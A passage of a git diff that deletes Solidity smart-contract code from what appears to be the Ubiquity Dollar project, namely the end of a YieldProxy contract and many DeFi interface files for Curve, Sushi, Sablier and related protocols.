ERC20(manager.dollarTokenAddress()).safeTransferFrom( - msg.sender, - address(this), - _uadAmount - ); - } - if (_ubqAmount > 0) { - ERC20(manager.governanceTokenAddress()).safeTransferFrom( - msg.sender, - address(this), - _ubqAmount - ); - } - emit Deposit( - msg.sender, - dep.amount, - dep.shares, - dep.fee, - dep.ratio, - dep.uadAmount, - dep.ubqAmount, - dep.bonusYield - ); - return true; - // emit event - } - - /* function depositWithPermit( - uint256 _amount, - uint256 _deadline, - bool _approveMax, - uint8 _v, - bytes32 _r, - bytes32 _s - ) external returns (bool) { - require(_amount > 0, "YieldProxy::amount==0"); - UserInfo storage dep = _balances[msg.sender]; - if (dep.amount > 0) { - //calculer le yield et l'ajouter au nouveau fee - } - dep.fee = _amount / fees; - dep.amount = _amount - dep.fee; - dep.ratio = jar.getRatio(); - uint256 value = _approveMax ? uint256(-1) : _amount; - token.permit(msg.sender, address(this), value, _deadline, _v, _r, _s); - token.safeTransferFrom(msg.sender, address(this), _amount); - emit Deposit(msg.sender, dep.amount, dep.fee, dep.ratio); - return true; - } */ - - function withdrawAll() external nonReentrant returns (bool) { - UserInfo storage dep = _balances[msg.sender]; - require(dep.amount > 0, "YieldProxy::amount==0"); - uint256 upatedAmount = dep.amount; - uint256 upatedFee = dep.fee; - if (token.decimals() < 18) { - upatedAmount = dep.amount * 10**(18 - token.decimals()); - upatedFee = dep.fee * 10**(18 - token.decimals()); - } - - // calculate the yield in uAR - uint256 amountWithYield = (upatedAmount * jar.getRatio()) / dep.ratio; - // calculate the yield in uAR by multiplying by the calculated bonus yield and adding the fee - uint256 extraYieldBonus = 0; - uint256 uARYield = 0; - // we need to have a positive yield - if (amountWithYield > upatedAmount) { - extraYieldBonus = (((amountWithYield - upatedAmount) * - dep.bonusYield) / BONUS_YIELD_MAX); - uARYield = - extraYieldBonus + - (amountWithYield - upatedAmount) + - upatedFee; - } - delete dep.bonusYield; - // we only give back the amount deposited minus the deposit fee - // indeed the deposit fee will be converted to uAR yield - uint256 amountToTransferBack = dep.amount - dep.fee; - delete dep.fee; - delete dep.amount; - - delete dep.ratio; - - // retrieve the amount from the jar - jar.withdraw(dep.shares); - delete dep.shares; - // we send back the deposited UAD - if (dep.uadAmount > 0) { - ERC20(manager.dollarTokenAddress()).transfer( - msg.sender, - dep.uadAmount - ); - } - delete dep.uadAmount; - // we send back the deposited UBQ - if (dep.ubqAmount > 0) { - ERC20(manager.governanceTokenAddress()).transfer( - msg.sender, - dep.ubqAmount - ); - } - delete dep.ubqAmount; - // we send back the deposited amount - deposit fee - token.transfer(msg.sender, amountToTransferBack); - - // send the rest to the treasury - token.transfer( - manager.treasuryAddress(), - token.balanceOf(address(this)) - ); - - // we send the yield as UAR - IERC20Ubiquity autoRedeemToken = IERC20Ubiquity( - manager.autoRedeemTokenAddress() - ); - autoRedeemToken.mint(address(this), uARYield); - autoRedeemToken.transfer(msg.sender, uARYield); - - // emit event - emit WithdrawAll( - msg.sender, - dep.amount, - dep.shares, - dep.fee, - dep.ratio, - dep.uadAmount, - dep.ubqAmount, - dep.bonusYield, - uARYield - ); - return true; - } - - /// Collectable Dust - function addProtocolToken(address _token) external override onlyAdmin { - _addProtocolToken(_token); - } - - function removeProtocolToken(address _token) external override onlyAdmin { - _removeProtocolToken(_token); - } - - function sendDust( - address _to, - address _token, - uint256 _amount - ) external override onlyAdmin { - _sendDust(_to, _token, _amount); - } - - function setDepositFees(uint256 _fees) external onlyAdmin { - require(_fees != fees, "YieldProxy::===fees"); - fees = _fees; - } - - function setUBQRate(uint256 _ubqRate) external onlyAdmin { - require(_ubqRate != ubqRate, "YieldProxy::===ubqRate"); - require(_ubqRate <= UBQ_RATE_MAX, "YieldProxy::>ubqRateMAX"); - ubqRate = _ubqRate; - ubqMaxAmount = 100 * (UBQ_RATE_MAX / ubqRate) * 1e18; // equivalent to 100 / (ubqRate/ UBQ_RATE_MAX) - } - - /* function setMaxUAD(uint256 _maxUADPercent) external onlyAdmin { - require(_maxUADPercent != UADPercent, "YieldProxy::===maxUAD"); - require(_maxUADPercent <= UADPercentMax, "YieldProxy::>UADPercentMax"); - UADPercent = _maxUADPercent; - } */ - - function setJar(address _jar) external onlyAdmin { - require(_jar != address(0), "YieldProxy::!Jar"); - jar = IJar(_jar); - token = ERC20(jar.token()); - } - - function getInfo(address _address) - external - view - returns (uint256[7] memory) - { - UserInfo memory dep = _balances[_address]; - return [ - dep.amount, - dep.shares, - dep.uadAmount, - dep.ubqAmount, - dep.fee, - dep.ratio, - dep.bonusYield - ]; - } -} diff --git a/packages/contracts/dollar/contracts/interfaces/ICouponsForDollarsCalculator.sol b/packages/contracts/dollar/contracts/interfaces/ICouponsForDollarsCalculator.sol deleted file mode 100644 index e0fd70eee..000000000 --- a/packages/contracts/dollar/contracts/interfaces/ICouponsForDollarsCalculator.sol +++ /dev/null @@ -1,12 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; - -/// @title A mechanism for calculating coupons received for a dollar amount burnt -interface ICouponsForDollarsCalculator { - function getCouponAmount(uint256 dollarsToBurn) - external - view - returns (uint256); -} diff --git a/packages/contracts/dollar/contracts/interfaces/ICurveFactory.sol b/packages/contracts/dollar/contracts/interfaces/ICurveFactory.sol deleted file mode 100644 index 511d1741a..000000000 --- a/packages/contracts/dollar/contracts/interfaces/ICurveFactory.sol +++ /dev/null @@ -1,119 +0,0 @@ -// SPDX-License-Identifier: MIT -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! -pragma solidity ^0.8.3; - -interface ICurveFactory { - event BasePoolAdded(address base_pool, address implementat); - event MetaPoolDeployed( - address coin, - address base_pool, - uint256 A, - uint256 fee, - address deployer - ); - - function find_pool_for_coins(address _from, address _to) - external - view - returns (address); - - function find_pool_for_coins( - address _from, - address _to, - uint256 i - ) external view returns (address); - - function get_n_coins(address _pool) - external - view - returns (uint256, uint256); - - function get_coins(address _pool) external view returns (address[2] memory); - - function get_underlying_coins(address _pool) - external - view - returns (address[8] memory); - - function get_decimals(address _pool) - external - view - returns (uint256[2] memory); - - function get_underlying_decimals(address _pool) - external - view - returns (uint256[8] memory); - - function get_rates(address _pool) external view returns (uint256[2] memory); - - function get_balances(address _pool) - external - view - returns (uint256[2] memory); - - function get_underlying_balances(address _pool) - external - view - returns (uint256[8] memory); - - function get_A(address _pool) external view returns (uint256); - - function get_fees(address _pool) external view returns (uint256, uint256); - - function get_admin_balances(address _pool) - external - view - returns (uint256[2] memory); - - function get_coin_indices( - address _pool, - address _from, - address _to - ) - external - view - returns ( - int128, - int128, - bool - ); - - function add_base_pool( - address _base_pool, - address _metapool_implementation, - address _fee_receiver - ) external; - - function deploy_metapool( - address _base_pool, - string memory _name, - string memory _symbol, - address _coin, - uint256 _A, - uint256 _fee - ) external returns (address); - - function commit_transfer_ownership(address addr) external; - - function accept_transfer_ownership() external; - - function set_fee_receiver(address _base_pool, address _fee_receiver) - external; - - function convert_fees() external returns (bool); - - function admin() external view returns (address); - - function future_admin() external view returns (address); - - function pool_list(uint256 arg0) external view returns (address); - - function pool_count() external view returns (uint256); - - function base_pool_list(uint256 arg0) external view returns (address); - - function base_pool_count() external view returns (uint256); - - function fee_receiver(address arg0) external view returns (address); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IDebtCoupon.sol b/packages/contracts/dollar/contracts/interfaces/IDebtCoupon.sol deleted file mode 100644 index c534731f8..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IDebtCoupon.sol +++ /dev/null @@ -1,23 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; - -/// @title A debt coupon which corresponds to a IDebtRedemption contract -interface IDebtCoupon is IERC1155 { - function updateTotalDebt() external; - - function burnCoupons( - address couponOwner, - uint256 amount, - uint256 expiryBlockNumber - ) external; - - function mintCoupons( - address recipient, - uint256 amount, - uint256 expiryBlockNumber - ) external; - - function getTotalOutstandingDebt() external view returns (uint256); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IDebtRedemption.sol b/packages/contracts/dollar/contracts/interfaces/IDebtRedemption.sol deleted file mode 100644 index 9065d539b..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IDebtRedemption.sol +++ /dev/null @@ -1,17 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; - -/// @title A debt redemption mechanism for coupon holders -/// @notice Allows users to redeem individual debt coupons or batch redeem coupons -/// @dev Implements IERC1155Receiver so that it can deal with redemptions -interface IDebtCouponManager is IERC1155Receiver { - function redeemCoupons( - address from, - uint256 id, - uint256 amount - ) external; - - function exchangeDollarsForDebtCoupons(uint256 amount) external; -} diff --git a/packages/contracts/dollar/contracts/interfaces/IDollarMintingCalculator.sol b/packages/contracts/dollar/contracts/interfaces/IDollarMintingCalculator.sol deleted file mode 100644 index 3ce60c2c5..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IDollarMintingCalculator.sol +++ /dev/null @@ -1,9 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; - -/// @title A mechanism for calculating dollars to be minted -interface IDollarMintingCalculator { - function getDollarsToMint() external view returns (uint256); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IERC1155Ubiquity.sol b/packages/contracts/dollar/contracts/interfaces/IERC1155Ubiquity.sol deleted file mode 100644 index 8bd536875..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IERC1155Ubiquity.sol +++ /dev/null @@ -1,44 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; - -/// @title ERC1155 Ubiquiti preset interface -/// @author Ubiquity Algorithmic Dollar -interface IERC1155Ubiquity is IERC1155 { - function mint( - address to, - uint256 id, - uint256 amount, - bytes memory data - ) external; - - function mintBatch( - address to, - uint256[] memory ids, - uint256[] memory amounts, - bytes memory data - ) external; - - function burn( - address account, - uint256 id, - uint256 value - ) external; - - function burnBatch( - address account, - uint256[] memory ids, - uint256[] memory values - ) external; - - function pause() external; - - function unpause() external; - - function totalSupply() external view returns (uint256); - - function exists(uint256 id) external view returns (bool); - - function holderTokens() external view returns (uint256[] memory); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IExcessDollarsDistributor.sol b/packages/contracts/dollar/contracts/interfaces/IExcessDollarsDistributor.sol deleted file mode 100644 index 3ae776eec..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IExcessDollarsDistributor.sol +++ /dev/null @@ -1,9 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; - -/// @title A mechanism for distributing excess dollars to relevant places -interface IExcessDollarsDistributor { - function distributeDollars() external; -} diff --git a/packages/contracts/dollar/contracts/interfaces/IIncentive.sol b/packages/contracts/dollar/contracts/interfaces/IIncentive.sol deleted file mode 100644 index a272ef78b..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IIncentive.sol +++ /dev/null @@ -1,19 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -/// @title incentive contract interface -/// @notice Called by uAD token contract when transferring with an incentivized address -/// @dev should be appointed as a Minter or Burner as needed -interface IIncentive { - /// @notice apply incentives on transfer - /// @param sender the sender address of uAD - /// @param receiver the receiver address of uAD - /// @param operator the operator (msg.sender) of the transfer - /// @param amount the amount of uAD transferred - function incentivize( - address sender, - address receiver, - address operator, - uint256 amount - ) external; -} diff --git a/packages/contracts/dollar/contracts/interfaces/IJar.sol b/packages/contracts/dollar/contracts/interfaces/IJar.sol deleted file mode 100644 index 247993542..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IJar.sol +++ /dev/null @@ -1,28 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; - -interface IJar is IERC20 { - function claimInsurance() external; // NOTE: Only yDelegatedVault implements this - - function depositAll() external; - - function deposit(uint256) external; - - function withdrawAll() external; - - function withdraw(uint256) external; - - function earn() external; - - function token() external view returns (address); - - function reward() external view returns (address); - - function getRatio() external view returns (uint256); - - function balance() external view returns (uint256); - - function decimals() external view returns (uint8); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IMasterChef.sol b/packages/contracts/dollar/contracts/interfaces/IMasterChef.sol deleted file mode 100644 index c1c967efa..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IMasterChef.sol +++ /dev/null @@ -1,29 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; - -interface IMasterChef { - struct UserInfo { - uint256 amount; // How many LP tokens the user has provided. - uint256 rewardDebt; // Reward debt. See explanation below. - } - struct PoolInfo { - uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs. - uint256 accuGOVPerShare; // Accumulated SUSHI per share, times 1e12. See below. - } - - event Deposit(address indexed user, uint256 amount); - event Withdraw(address indexed user, uint256 amount); - - function deposit(uint256 _amount, address sender) external; - - // Withdraw LP tokens from MasterChef. - function withdraw(uint256 _amount, address sender) external; - - // View function to see pending SUSHIs on frontend. - function pendingUGOV(address _user) external view returns (uint256); -} - -// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON: diff --git a/packages/contracts/dollar/contracts/interfaces/IMasterChefV2.sol b/packages/contracts/dollar/contracts/interfaces/IMasterChefV2.sol deleted file mode 100644 index 4fdfd2a26..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IMasterChefV2.sol +++ /dev/null @@ -1,52 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; - -import "../MasterChefV2.sol"; - -interface IMasterChefV2 { - struct BondingShareInfo { - uint256 amount; // How many LP tokens the user has provided. - uint256 rewardDebt; // Reward debt. See explanation below. - } - struct PoolInfo { - uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs. - uint256 accuGOVPerShare; // Accumulated SUSHI per share, times 1e12. See below. - } - - event Deposit(address indexed user, uint256 amount, uint256 bondingShareID); - event Withdraw( - address indexed user, - uint256 amount, - uint256 bondingShareID - ); - - function deposit( - address sender, - uint256 amount, - uint256 bondingShareID - ) external; - - // Withdraw LP tokens from MasterChef. - function withdraw( - address sender, - uint256 amount, - uint256 bondingShareID - ) external; - - // Info about a bondinh share - function getBondingShareInfo(uint256 _id) - external - view - returns (uint256[2] memory); - - // Total amount of shares - function totalShares() external view returns (uint256); - - // View function to see pending SUSHIs on frontend. - function pendingUGOV(address _user) external view returns (uint256); -} - -// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON: diff --git a/packages/contracts/dollar/contracts/interfaces/IMetaPool.sol b/packages/contracts/dollar/contracts/interfaces/IMetaPool.sol deleted file mode 100644 index ba76b6b74..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IMetaPool.sol +++ /dev/null @@ -1,278 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! -pragma solidity ^0.8.3; - -interface IMetaPool { - event Transfer( - address indexed sender, - address indexed receiver, - uint256 value - ); - event Approval( - address indexed owner, - address indexed spender, - uint256 value - ); - event TokenExchange( - address indexed buyer, - int128 sold_id, - uint256 tokens_sold, - int128 bought_id, - uint256 tokens_bought - ); - event TokenExchangeUnderlying( - address indexed buyer, - int128 sold_id, - uint256 tokens_sold, - int128 bought_id, - uint256 tokens_bought - ); - event AddLiquidity( - address indexed provider, - uint256[2] token_amounts, - uint256[2] fees, - uint256 invariant, - uint256 token_supply - ); - event RemoveLiquidity( - address indexed provider, - uint256[2] token_amounts, - uint256[2] fees, - uint256 token_supply - ); - event RemoveLiquidityOne( - address indexed provider, - uint256 token_amount, - uint256 coin_amount, - uint256 token_supply - ); - event RemoveLiquidityImbalance( - address indexed provider, - uint256[2] token_amounts, - uint256[2] fees, - uint256 invariant, - uint256 token_supply - ); - event CommitNewAdmin(uint256 indexed deadline, address indexed admin); - event NewAdmin(address indexed admin); - event CommitNewFee( - uint256 indexed deadline, - uint256 fee, - uint256 admin_fee - ); - event NewFee(uint256 fee, uint256 admin_fee); - event RampA( - uint256 old_A, - uint256 new_A, - uint256 initial_time, - uint256 future_time - ); - event StopRampA(uint256 A, uint256 t); - - function initialize( - string memory _name, - string memory _symbol, - address _coin, - uint256 _decimals, - uint256 _A, - uint256 _fee, - address _admin - ) external; - - function decimals() external view returns (uint256); - - function transfer(address _to, uint256 _value) external returns (bool); - - function transferFrom( - address _from, - address _to, - uint256 _value - ) external returns (bool); - - function approve(address _spender, uint256 _value) external returns (bool); - - function get_previous_balances() external view returns (uint256[2] memory); - - function get_balances() external view returns (uint256[2] memory); - - function get_twap_balances( - uint256[2] memory _first_balances, - uint256[2] memory _last_balances, - uint256 _time_elapsed - ) external view returns (uint256[2] memory); - - function get_price_cumulative_last() - external - view - returns (uint256[2] memory); - - function admin_fee() external view returns (uint256); - - function A() external view returns (uint256); - - function A_precise() external view returns (uint256); - - function get_virtual_price() external view returns (uint256); - - function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit) - external - view - returns (uint256); - - function calc_token_amount( - uint256[2] memory _amounts, - bool _is_deposit, - bool _previous - ) external view returns (uint256); - - function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount) - external - returns (uint256); - - function add_liquidity( - uint256[2] memory _amounts, - uint256 _min_mint_amount, - address _receiver - ) external returns (uint256); - - function get_dy( - int128 i, - int128 j, - uint256 dx - ) external view returns (uint256); - - function get_dy( - int128 i, - int128 j, - uint256 dx, - uint256[2] memory _balances - ) external view returns (uint256); - - function get_dy_underlying( - int128 i, - int128 j, - uint256 dx - ) external view returns (uint256); - - function get_dy_underlying( - int128 i, - int128 j, - uint256 dx, - uint256[2] memory _balances - ) external view returns (uint256); - - function exchange( - int128 i, - int128 j, - uint256 dx, - uint256 min_dy - ) external returns (uint256); - - function exchange( - int128 i, - int128 j, - uint256 dx, - uint256 min_dy, - address _receiver - ) external returns (uint256); - - function exchange_underlying( - int128 i, - int128 j, - uint256 dx, - uint256 min_dy - ) external returns (uint256); - - function exchange_underlying( - int128 i, - int128 j, - uint256 dx, - uint256 min_dy, - address _receiver - ) external returns (uint256); - - function remove_liquidity( - uint256 _burn_amount, - uint256[2] memory _min_amounts - ) external returns (uint256[2] memory); - - function remove_liquidity( - uint256 _burn_amount, - uint256[2] memory _min_amounts, - address _receiver - ) external returns (uint256[2] memory); - - function remove_liquidity_imbalance( - uint256[2] memory _amounts, - uint256 _max_burn_amount - ) external returns (uint256); - - function remove_liquidity_imbalance( - uint256[2] memory _amounts, - uint256 _max_burn_amount, - address _receiver - ) external returns (uint256); - - function calc_withdraw_one_coin(uint256 _burn_amount, int128 i) - external - view - returns (uint256); - - function calc_withdraw_one_coin( - uint256 _burn_amount, - int128 i, - bool _previous - ) external view returns (uint256); - - function remove_liquidity_one_coin( - uint256 _burn_amount, - int128 i, - uint256 _min_received - ) external returns (uint256); - - function remove_liquidity_one_coin( - uint256 _burn_amount, - int128 i, - uint256 _min_received, - address _receiver - ) external returns (uint256); - - function ramp_A(uint256 _future_A, uint256 _future_time) external; - - function stop_ramp_A() external; - - function admin_balances(uint256 i) external view returns (uint256); - - function withdraw_admin_fees() external; - - function admin() external view returns (address); - - function coins(uint256 arg0) external view returns (address); - - function balances(uint256 arg0) external view returns (uint256); - - function fee() external view returns (uint256); - - function block_timestamp_last() external view returns (uint256); - - function initial_A() external view returns (uint256); - - function future_A() external view returns (uint256); - - function initial_A_time() external view returns (uint256); - - function future_A_time() external view returns (uint256); - - function name() external view returns (string memory); - - function symbol() external view returns (string memory); - - function balanceOf(address arg0) external view returns (uint256); - - function allowance(address arg0, address arg1) - external - view - returns (uint256); - - function totalSupply() external view returns (uint256); -} diff --git a/packages/contracts/dollar/contracts/interfaces/IPickleController.sol b/packages/contracts/dollar/contracts/interfaces/IPickleController.sol deleted file mode 100644 index 65b3cc54f..000000000 --- a/packages/contracts/dollar/contracts/interfaces/IPickleController.sol +++ /dev/null @@ -1,22 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.3; - -interface IController { - function withdraw(address, uint256) external; - - function withdrawReward(address, uint256) external; - - function earn(address, uint256) external; - - function jars(address) external view returns (address); - - function rewards() external view returns (address); - - function devfund() external view returns (address); - - function treasury() external view returns (address); - - function balanceOf(address) external view returns (uint256); - - function strategies(address) external view returns (address); -} diff --git a/packages/contracts/dollar/contracts/interfaces/ISablier.sol b/packages/contracts/dollar/contracts/interfaces/ISablier.sol deleted file mode 100644 index 3ddfefb44..000000000 --- a/packages/contracts/dollar/contracts/interfaces/ISablier.sol +++ /dev/null @@ -1,153 +0,0 @@ -// SPDX-License-Identifier: MIT -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! -pragma solidity ^0.8.3; - -interface ISablier { - event CreateCompoundingStream( - uint256 indexed streamId, - uint256 exchangeRate, - uint256 senderSharePercentage, - uint256 recipientSharePercentage - ); - event PayInterest( - uint256 indexed streamId, - uint256 senderInterest, - uint256 recipientInterest, - uint256 sablierInterest - ); - event TakeEarnings(address indexed tokenAddress, uint256 indexed amount); - event UpdateFee(uint256 indexed fee); - event Paused(address account); - event Unpaused(address account); - event PauserAdded(address indexed account); - event PauserRemoved(address indexed account); - event OwnershipTransferred( - address indexed previousOwner, - address indexed newOwner - ); - event CreateStream( - uint256 indexed streamId, - address indexed sender, - address indexed recipient, - uint256 deposit, - address tokenAddress, - uint256 startTime, - uint256 stopTime - ); - event WithdrawFromStream( - uint256 indexed streamId, - address indexed recipient, - uint256 amount - ); - event CancelStream( - uint256 indexed streamId, - address indexed sender, - address indexed recipient, - uint256 senderBalance, - uint256 recipientBalance - ); - - function unpause() external; - - function cancelStream(uint256 streamId) external returns (bool); - - function withdrawFromStream(uint256 streamId, uint256 amount) - external - returns (bool); - - function initialize() external; - - function createCompoundingStream( - address recipient, - uint256 deposit, - address tokenAddress, - uint256 startTime, - uint256 stopTime, - uint256 senderSharePercentage, - uint256 recipientSharePercentage - ) external returns (uint256); - - function addPauser(address account) external; - - function pause() external; - - function interestOf(uint256 streamId, uint256 amount) - external - returns ( - uint256 senderInterest, - uint256 recipientInterest, - uint256 sablierInterest - ); - - function updateFee(uint256 feePercentage) external; - - function takeEarnings(address tokenAddress, uint256 amount) external; - - function initialize(address sender) external; - - function createStream( - address recipient, - uint256 deposit, - address tokenAddress, - uint256 startTime, - uint256 stopTime - ) external returns (uint256); - - function transferOwnership(address newOwner) external; - - function getEarnings(address tokenAddress) external view returns (uint256); - - function nextStreamId() external view returns (uint256); - - function getCompoundingStream(uint256 streamId) - external - view - returns ( - address sender, - address recipient, - uint256 deposit, - address tokenAddress, - uint256 startTime, - uint256 stopTime, - uint256 remainingBalance, - uint256 ratePerSecond, - uint256 exchangeRateInitial, - uint256 senderSharePercentage, - uint256 recipientSharePercentage - ); - - function balanceOf(uint256 streamId, address who) - external - view - returns (uint256 balance); - - function isPauser(address account) external view returns (bool); - - function paused() external view returns (bool); - - function getStream(uint256 streamId) - external - view - returns ( - address sender, - address recipient, - uint256 deposit, - address tokenAddress, - uint256 startTime, - uint256 stopTime, - uint256 remainingBalance, - uint256 ratePerSecond - ); - - function owner() external view returns (address); - - function isOwner() external view returns (bool); - - function isCompoundingStream(uint256 streamId) external view returns (bool); - - function deltaOf(uint256 streamId) external view returns (uint256 delta); - - function cTokenManager() external view returns (address); - - function fee() external view returns (uint256 mantissa); -} diff --git a/packages/contracts/dollar/contracts/interfaces/ISushiBar.sol b/packages/contracts/dollar/contracts/interfaces/ISushiBar.sol deleted file mode 100644 index 36a648ac6..000000000 --- a/packages/contracts/dollar/contracts/interfaces/ISushiBar.sol +++ /dev/null @@ -1,55 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! -pragma solidity ^0.8.3; - -interface ISushiBar { - event Approval( - address indexed owner, - address indexed spender, - uint256 value - ); - event Transfer(address indexed from, address indexed to, uint256 value); - - function approve(address spender, uint256 amount) external returns (bool); - - function decreaseAllowance(address spender, uint256 subtractedValue) - external - returns (bool); - - function enter(uint256 _amount) external; - - function increaseAllowance(address spender, uint256 addedValue) - external - returns (bool); - - function leave(uint256 _share) external; - - function transfer(address recipient, uint256 amount) - external - returns (bool); - - function transferFrom( - address sender, - address recipient, - uint256 amount - ) external returns (bool); - - function allowance(address owner, address spender) - external - view - returns (uint256); - - function name() external view returns (string memory); - - function sushi() external view returns (address); - - function symbol() external view returns (string memory); - - function totalSupply() external view returns (uint256); - - function balanceOf(address account) external view returns (uint256); - - function decimals() external view returns (uint8); -} - -// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON: diff --git a/packages/contracts/dollar/contracts/interfaces/ISushiMaker.sol b/packages/contracts/dollar/contracts/interfaces/ISushiMaker.sol deleted file mode 100644 index f4cda9b8e..000000000 --- a/packages/contracts/dollar/contracts/interfaces/ISushiMaker.sol +++ /dev/null @@ -1,46 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! -pragma solidity ^0.8.3; - -interface ISushiMaker { - event LogBridgeSet(address indexed token, address indexed bridge); - event LogConvert( - address indexed server, - address indexed token0, - address indexed token1, - uint256 amount0, - uint256 amount1, - uint256 amountSUSHI - ); - event OwnershipTransferred( - address indexed previousOwner, - address indexed newOwner - ); - - function setBridge(address token, address bridge) external; - - function transferOwnership( - address newOwner, - bool direct, - bool renounce - ) external; - - function claimOwnership() external; - - function convert(address token0, address token1) external; - - function convertMultiple(address[] memory token0, address[] memory token1) - external; - - function bar() external view returns (address); - - function bridgeFor(address token) external view returns (address bridge); - - function factory() external view returns (address); - - function owner() external view returns (address); - - function pendingOwner() external view returns (address); -} - -// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON: diff --git a/packages/contracts/dollar/contracts/interfaces/ISushiMasterChef.sol b/packages/contracts/dollar/contracts/interfaces/ISushiMasterChef.sol deleted file mode 100644 index c69b179a7..000000000 --- a/packages/contracts/dollar/contracts/interfaces/ISushiMasterChef.sol +++ /dev/null @@ -1,82 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !! -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; - -interface ISushiMasterChef { - struct UserInfo { - uint256 amount; // How many LP tokens the user has provided. - uint256 rewardDebt; // Reward debt. See explanation below. - } - struct PoolInfo { - IERC20 lpToken; // Address of LP token contract. - uint256 allocPoint; // How many allocation points assigned to this pool. - uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs. - uint256 accSushiPerShare; // Accumulated SUSHI per share, times 1e12. See below. - } - event Deposit(address indexed user, uint256 indexed pid, uint256 amount); - event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); - event EmergencyWithdraw( - address indexed user, - uint256 indexed pid, - uint256 amount - ); - - function deposit(uint256 _pid, uint256 _amount) external; - - // Withdraw LP tokens from MasterChef. - function withdraw(uint256 _pid, uint256 _amount) external; - - // Update reward vairables for all pools. Be careful of gas spending! - function massUpdatePools() external; - - // Update reward variables of the given pool to be up-to-date. - function updatePool(uint256 _pid) external; - - // Add a new lp to the pool. Can only be called by the owner. - // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. - function add( - uint256 _allocPoint, - IERC20 _lpToken, - bool _withUpdate - ) external; - - // Update the given pool's SUSHI allocation point. Can only be called by the owner. - function set( - uint256 _pid, - uint256 _allocPoint, - bool _withUpdate - ) external; - - // Returns the address of the current owner. - function owner() external view returns (address); - - // Info of each pool. - function userInfo(uint256 pid, address user) - external - view - returns (ISushiMasterChef.UserInfo memory); - - // SUSHI tokens created per block. - function sushiPerBlock() external view returns (uint256); - - // Info of each pool. - function poolInfo(uint256 pid) - external - view - returns (ISushiMasterChef.PoolInfo memory); - - // Total allocation poitns. Must be the sum of all allocation points in all pools. - function totalAllocPoint() external view returns (uint256); - - function poolLength() external view returns (uint256); - - // View function to see pending SUSHIs on frontend. - function pendingSushi(uint256 _pid, address _user) - external - view - returns (uint256); -} - -// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON: diff --git a/packages/contracts/dollar/contracts/interfaces/ISushiSwapPool.sol b/packages/contracts/dollar/contracts/interfaces/ISushiSwapPool.sol deleted file mode 100644 index 441ada924..000000000 --- a/packages/contracts/dollar/contracts/interfaces/ISushiSwapPool.sol +++ /dev/null @@ -1,13 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -pragma solidity ^0.8.3; - -interface ISushiSwapPool { - function pairInfo(address tokenA, address tokenB) - external - view - returns ( - uint256 reserveA, - uint256 reserveB, - uint256 totalSupply - ); -} diff --git a/packages/contracts/dollar/contracts/interfaces/ITWAPOracle.sol 